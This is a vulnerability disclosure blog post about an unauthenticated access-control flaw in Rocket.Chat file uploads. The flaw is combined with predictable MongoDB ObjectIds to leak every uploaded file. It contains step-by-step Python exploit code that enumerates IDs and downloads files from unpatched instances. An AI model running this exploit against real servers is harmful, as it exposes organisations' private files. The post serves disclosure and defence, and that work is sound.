Predicting MongoDB ObjectId() continuously in Rocket.Chat Security researchers at Aikido discovered that Rocket.Chat's use of MongoDB's ObjectId() for file IDs allows unauthenticated attackers to predict and access any uploaded file. The vulnerability, reported via HackerOne and fixed in versions released June 12, 2024, enables continuous prediction of valid IDs, compromising all file uploads. Rocket.Chat users should upgrade immediately. Applications using MongoDB have a common pitfall of treating the ObjectId function as cryptographically secure. Recently, we found Rocket.Chat https://www.rocket.chat/ , an open source Slack-like application, to be a victim of this. At Aikido, we run AI Pentests https://www.aikido.dev/platform/attack on various open source applications to test our agents and identify their strengths and improvement points. During the pentest, one of the agents reported that an unauthenticated Rocket.Chat user can access any uploaded file if they know its ID. The ID is generated with MongoDB’s ObjectId and looks random at first sight, but when you look deeper, they are far from it In this post, we will demonstrate how an attacker is able to retrieve all generated valid IDs continuously. We'll describe an attack that probes the current ID to predict all other IDs generated by the application. This is shown by capturing every uploaded file in a Rocket.Chat instance. The attack could be applied to different apps using MongoDB with the same primitives, beyond just Rocket.Chat. We found and reported the issue in Rocket.Chat on the 21st of April through HackerOne now publicly disclosed: 3687142 https://hackerone.com/reports/3687142 . As of June 12th, it has been fixed in versions 8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9, and 7.10.13. If you or your organization is hosting a Rocket.Chat instance, upgrade to any of these versions or newer as soon as possible if you haven't already. Since it is an unauthenticated exploit, anyone with network access can exploit this. The Vulnerability Before we dive into the exploit technique, let me explain more about how Rocket.Chat works. The main use case of Rocket.Chat is communicating with your organization and team. Conversations are split between configurable channels, and users can share files in addition to chat. To understand the unauthenticated attack surface, in the default setup, users cannot self-register and login is required to open the app. There's also an optional component called Livechat https://docs.rocket.chat/docs/livechat-widget-installation , which is essentially an unauthenticated helpdesk chat. Even though it's optional, it is enabled by default https://github.com/RocketChat/Rocket.Chat/blob/8.5.0/apps/meteor/server/settings/omnichannel.ts L9-L13 , but it’s not visible unless you navigate directly to /livechat :Livechat allows users to send a plain text message to the helpdesk. Additionally, there's file upload support for this widget, but the input is disabled by default so you can't see it in the screenshot above . Still, the API endpoint for uploading files without authentication remains accessible. This is the main primitive we'll use in our eventual exploit. Files uploaded in either of these features authenticated channels & unauthenticated Livechat , are stored in the same location: /file-upload/{fileId} . This creates some complications in the authorization logic. Could we abuse something in Livechat to read real channel uploads? One of the agents noticed something peculiar in FileUpload.ts https://github.com/RocketChat/Rocket.Chat/blob/8.5.0/apps/meteor/app/file-upload/server/lib/FileUpload.ts L451-L472 . There are two different ways to define a file's Room ID. Firstly, authorization is done by requestCanAccessFiles which reads rc rid rid = Room ID from the query string. async requestCanAccessFiles { headers = {}, url }: http.IncomingMessage, file?: IUpload { const { query } = URL.parse url, true ; let { rc uid, rc token, rc rid, rc room type } = query; ... const isAuthorizedByRoom = async = rc room type && roomCoordinator .getRoomDirectives rc room type .canAccessUploadedFile { rc uid: rc uid || '', rc rid: rc rid || '', rc token: rc token || '' } ; The given rc rid is passed into canAccessUploadedFile together with the rc token parameter to verify you have access to that room and should be able to read the file: async canAccessUploadedFile { rc token: token, rc rid: rid } { return token && rid && await LivechatRooms.findOneByIdAndVisitorToken rid, token ; }, Second, there's the call to FileUpload.requestCanAccessFiles, which gets the file from the /file-upload/{fileId}/… path and looks it up directly in the database: js WebApp.connectHandlers.use FileUpload.getPath , async req, res, next = { const match = /^\/ ^\/ + \/ . /.exec req.url || '' ; if match?. 1 { const file = await Uploads.findOneById match 1 ; if file { if await FileUpload.requestCanAccessFiles req, file { This file also has a rid Room ID , which may be different from the given rc rid in the URL. What would happen if they mismatch? The answer is a large vulnerability. Rocket.Chat does not verify that the file you're requesting is inside the room you're verifying access for. That means you can provide any valid dummy room, then specify an arbitrary fileId in the path parameter to get its content. Let's see it in practice. First we upload any file to a channel as the victim. In the screenshot below, the admin user uploaded file.txt : Then, copy the link to the file, like: https://rocketchat.local/file-upload/6a325394876fbe9c70b1b03f/file.txt Naively visiting the URL in an incognito tab returns a 403 error, so it should be private. Now let's see if we can leak it using the Livechat functionality. Take the fileId part 6a325394876fbe9c70b1b03f , and let's request the same URL with any anonymous Livechat room user. We can create a session by first registering as a "visitor" with any token value, and then requesting our Room ID. With this valid Room ID, if our exploit works, we are now able to get any file if we just know its fileId . Because there is no check comparing the file's real room to our temporary room. We'll build out a Python script for our final exploit step by step. Starting with implementing this idea: HOST = "https://rocketchat.local" FILE ID = "6a325394876fbe9c70b1b03f" s = requests.Session token = "x" Create anonymous visitor with token s.post f"{HOST}/api/v1/livechat/visitor", json={"visitor": {"token": token, "name": "attacker", "email": "attacker@example.com"}} Get our Room ID r = s.get f"{HOST}/api/v1/livechat/room", params={"token": token, "agentId": "rocket.cat"} rid = r.json "room" " id" print f"{rid=}" ceHsTjGSTfvAzWHk2 Get other file using our Room ID r = s.get f"{HOST}/file-upload/{FILE ID}/x", params={"rc room type": "l", "rc rid": rid, "rc token": token} print r.text SUPER SECRET DATA print r.headers "Content-Disposition" attachment; filename =UTF-8''file.txt We've successfully leaked the SUPER SECRET DATA inside file.txt We also get the original filename in the Content-Disposition: header, making it easier to find out what the file actually is supposed to contain. A cool find by the agent, but it relied on knowledge of the hard to guess fileId : 6a325394876fbe9c70b1b03f . It looks like a random value made up of 12 bytes. Even with a million requests per second, you'd be looking at a few thousand universe lifetimes before expecting your first hit. Not entirely realistic. After manually reviewing more of the application’s source code, we found no way of directly leaking any of these file IDs from other sources. How do we come up with a valid ID? The first hint comes from the fact that this ID is generated by MongoDB's ObjectId https://www.mongodb.com/docs/manual/reference/method/objectid/ function. “How does that help us?” you may ask. MongoDB ObjectId As explained in the documentation, an ObjectId is made up of: A 4-byte timestamp , representing the ObjectId's creation, measured in seconds since the Unix epoch. A 5-byte random value generated once per client-side process. This random value is unique to the machine and process. If the process restarts or the primary node of the process changes, this value is re-generated. A 3-byte incrementing counter per client-side process, initialized to a random value. The counter resets when a process restarts. So an ID like 6a325394876fbe9c70b1b03f can be split into: It also says: For timestamp and counter values, the most significant bytes appear first in the byte sequence big-endian So our 6a325394 timestamp can be decoded into June 17th 2026 at 9:58:12 AM: python from datetime import datetime datetime.fromtimestamp int "6a325394", 16 datetime.datetime 2026, 6, 17, 9, 58, 12 The counter value b1b03f is also a big endian integer. b1b03f + 1 would be b1b040 , the next ID. This counter is initialized randomly, and loops around at ffffff to 000000 . It's also quite obvious if we compare two sequential file IDs now. They are far from random. 6a325394876fbe9c70b1b03f 6a325a30876fbe9c70b1b048 Predicting fully at random With this low entropy you may think we can just brute force the IDs until we happen to hit an existing file. While mostly true for the timestamp we only have the iterate seconds for the past few months , we don't know the 5-byte static random value, and the counter is initialized randomly as well. The static random value alone has more than a trillion possibilities 256^5 . At a rate of 1000 requests per second, you'd still be waiting ~18 years https://brute.jtw.sh/ length=10&charset=0-9a-f . By that time I'd be impressed if your attacker's machine is still running. We can assume this to be impossible . Predicting from an anchor point The better way to approach this is to find any ObjectId output from the application, and then predicting future ones from there. An "anchor point". In Rocket.Chat, luckily for us, there is a very easy way to do so with the Livechat feature we're already using. If we just upload a file anonymously, we get its ID, that's our sample. r = s.post f"{HOST}/api/v1/livechat/upload/{rid}", headers={"x-visitor-token": token}, files={"file": "probe", b"probe", "text/plain" } r.raise for status data = r.json probe id = data "file" " id" print f"{probe id=}" 6a325fbf876fbe9c70b1b053 We now have two required primitives: - Something we shouldn't have access to is accessible if we know its ObjectId - We have a way to generate and read our own ObjectId With this in hand we can get much further. To find files uploaded by other users we have to think about what changes: the timestamp and the counter. The timestamp we will have to decrement in seconds until the time we want. But in the case of the counter, we don't really know how much to decrement it by because other features may generate ObjectId 's just as well, skipping certain values for the file IDs we're after. By simply guessing some ranges we can already get pretty successful: Parse parts of the ObjectId timestamp = datetime.fromtimestamp int probe id 0:8 , 16 random = probe id 8:18 counter = int probe id 18:24 , 16 print f"{timestamp=} {random=} {counter=}" Loop through the last 5 minutes of timestamps, and last 20 counters for delta in tqdm range int timedelta minutes=5 .total seconds : for c in range counter - 20, counter : t = timestamp - timedelta seconds=delta Go backwards Create new potential ObjectId oid = f"{int t.timestamp :08x}{random}{c:06x}" if oid == probe id: continue Skip our own file Try requesting it, if successful, print it r = s.get f"{HOST}/file-upload/{oid}/x", params={"rc room type": "l", "rc rid": rid, "rc token": token} if r.ok: tqdm.write f"{oid}: {r.text r}" If we upload a file to Rocket.Chat and then run this script shortly after, it discovers the ID and its data iterating through the last 5 minutes + previous 20 IDs in the counter . Below is an example of the output you can expect: probe id='6a326750876fbe9c70b1b069' timestamp=datetime.datetime 2026, 6, 17, 11, 22, 24 random='876fbe9c70' counter=11645033 6a326747876fbe9c70b1b068: 'SUPER SECRET DATA' 6%|██▎ | 19/300 00:09<02:36, 1.79it/s While viable for a proof of concept, in a realistic attack you won't know exactly when a victim uploads their file. A real instance may also be much busier than our local one, generating many ObjectId 's for other features that displace the file IDs. We need to be faster, and find a way to guarantee we hit every file ID without making assumptions about the timestamp or counter. Continuously finding all ObjectId s One large bottleneck currently is that we're synchronously requesting every ID one by one. While waiting for a response from the server, we're doing nothing. By converting the code to be asynchronous with a library like httpx , we can spawn multiple workers that all send requests from a queue at the same time. We'll extract the filename from the Content-Disposition: header at the same time, and save the file under leaks/ locally with its original filename. python async def get token client : token = "x" r = await client.post f"{HOST}/api/v1/livechat/visitor", json={"visitor": {"token": token, "name": "probe", "email": "probe@ex.com"}} r.raise for status r = await client.get f"{HOST}/api/v1/livechat/room", params={"token": token, "agentId": "rocket.cat"} r.raise for status rid = r.json "room" " id" return token, rid async def oid worker client, i, queue, rid, token : while True: oid = await queue.get print f"Worker {i} requesting {oid}" r = await client.get f"{HOST}/file-upload/{oid}/x", params={"rc room type": "l", "rc rid": rid, "rc token": token} if r.status code == 200: filename = unquote r.headers "Content-Disposition" .split "filename =UTF-8''" 1 try: content = r.text except UnicodeDecodeError: content = r.content print f" LEAK {oid} {filename} : {content :100 r}" with open f"leaks/{filename.replace '/', ' ' }", "wb" as f: f.write r.content async def main : queue = asyncio.Queue num workers = 10 async with httpx.AsyncClient as client: token, rid = await get token client print f"{rid=}" print "Starting producer loop..." producer task = asyncio.create task oid producer client, queue, rid, token We will implement the producer in a second print f"Starting {num workers} workers..." worker tasks = asyncio.create task oid worker client, i, queue, rid, token for i in range num workers await asyncio.gather producer task, worker tasks if name == " main ": asyncio.run main To ensure we hit every ID that exists, we can make use of the difference between multiple probes. If a previous probe saw the counter at 100, and the next probe a little while later eg. 10 seconds saw it as 122, we know that 22 IDs were generated in between that time. The timestamp interval is also immediately clear: 10 seconds. So we can iterate through 10 22 IDs as quickly as possible. When done, we can send another probe 10 more seconds later, let's say the counter is at 130 then. Compare that to the now previous probe of 122, and we have to try 8 counter values across 10 seconds again. We can keep this loop going, producing ID gaps by probing continuously in short intervals, and fetching them quickly using asynchronous workers. Visualized, the algorithm works something like this. Instead of fetching a whole range of 9 26=234 IDs, we can get samples from the application to make the rectangles we search through smaller. The sum of these smaller ranges of 6+16+45 = 67, much lower than the naive full range. By keeping the program running and with fast enough requests, we can guarantee that we hit every potential file ID. In our Python implementation this isn't hard to implement. We just have to split each probe ID to extract its timestamp & counter, and compare them to the previous. If we're smart, we can save and avoid our own probe counter values in the search, because these will never be the secret files we're looking for. One edge case to look out for is that the counter wraps around from ffffff to 000000 if it hits that limit, so we need to use a modulus to ensure it stays within 3 bytes. python PRODUCER INTERVAL = 10 def split probe id probe id : timestamp = int probe id 0:8 , 16 random = probe id 8:18 counter = int probe id 18:24 , 16 return timestamp, random, counter def mod range start, stop, modulus : for i in range stop - start % modulus : yield start + i % modulus async def oid producer client, queue, rid, token : prev probe id = await get probe id client, rid, token probes = set split probe id prev probe id 2 await asyncio.sleep PRODUCER INTERVAL while True: probe id = await get probe id client, rid, token prev timestamp, , prev counter = split probe id prev probe id timestamp, random, counter = split probe id probe id probes.add counter i = 0 for t in range prev timestamp, timestamp : for c in mod range prev counter, counter, 0x1000000 : if c in probes: continue Skip our own files oid = f"{t:08x}{random}{c:06x}" await queue.put oid i += 1 print f"Produced {i} IDs" prev probe id = probe id await asyncio.sleep PRODUCER INTERVAL Now finally running the script, we can see on our local instance it is pretty uneventful while nothing is happening. We skip our own IDs and the difference from the previous probe is just 1. Until we open the application and upload a file, within 10 seconds, it is detected by the exploit script and leaked by a worker who picked it up: Starting producer loop... Starting 10 workers... Produced 0 IDs Produced 0 IDs ... Produced 22 IDs Worker 0 requesting 6a32774c876fbe9c70b1b112 Worker 1 requesting 6a32774c876fbe9c70b1b113 ... Worker 3 requesting 6a327754876fbe9c70b1b113 LEAK 6a32774e876fbe9c70b1b112: 'SUPER SECRET DATA' Worker 5 requesting 6a327756876fbe9c70b1b113 Produced 0 IDs Success While the script is running, we're now identifying and leaking every uploaded file on the Rocket.Chat instance. With the speed improvements, the instance can be used regularly without halting our script much, and then again, it's a queue so if there's too much work it will just catch up eventually when there's less activity going on.Note that the 10 second interval we're currently using is completely arbitrary, the lower you set it, the smaller the possible ranges will get so you're precisely detecting when a file is uploaded. You can decide the balance between the number of requests for probing vs. the number of requests for brute forcing for yourself. Watch the proof of concept in this video: Takeaways Rocket.Chat fixed the access control issue 40889 https://github.com/RocketChat/Rocket.Chat/pull/40889/changes diff-5ad2ecc1f4d53c4e006f51235fff8621d7024ac850f8408b62c7385cf2d6cd46R34-R36 by passing the file into canAccessUploadedFile , and verifying that the chosen file matches the room ID that is specified in the query parameter. As a general guide, for random IDs, we recommend not relying on ObjectId , it is almost as insecure as a simple incremental ID. As defence in depth, use UUIDv4 for secure random strings to ensure even with access control bugs, an attacker still needs a second step to discover the IDs. While our agent successfully found the IDOR vulnerability, it initially didn't mention the predictability of MongoDB ObjectId s, because a single sample looks random at first glance. With the changes we made after this research, agents now explore the entropy of such IDs to more accurately explain the likelihood of exploitation in reports. For security researchers and pentesters looking to improve their IDOR PoC's realism, you now know you can easily predict MongoDB IDs. Something to look out for whenever you have two IDs that look eerily similar. Our AI pentesting tool discovered this on its own. If you want high quality, fast pentesting running against your application, check out Aikido’s pentesting suite https://www.aikido.dev/attack/aipentest .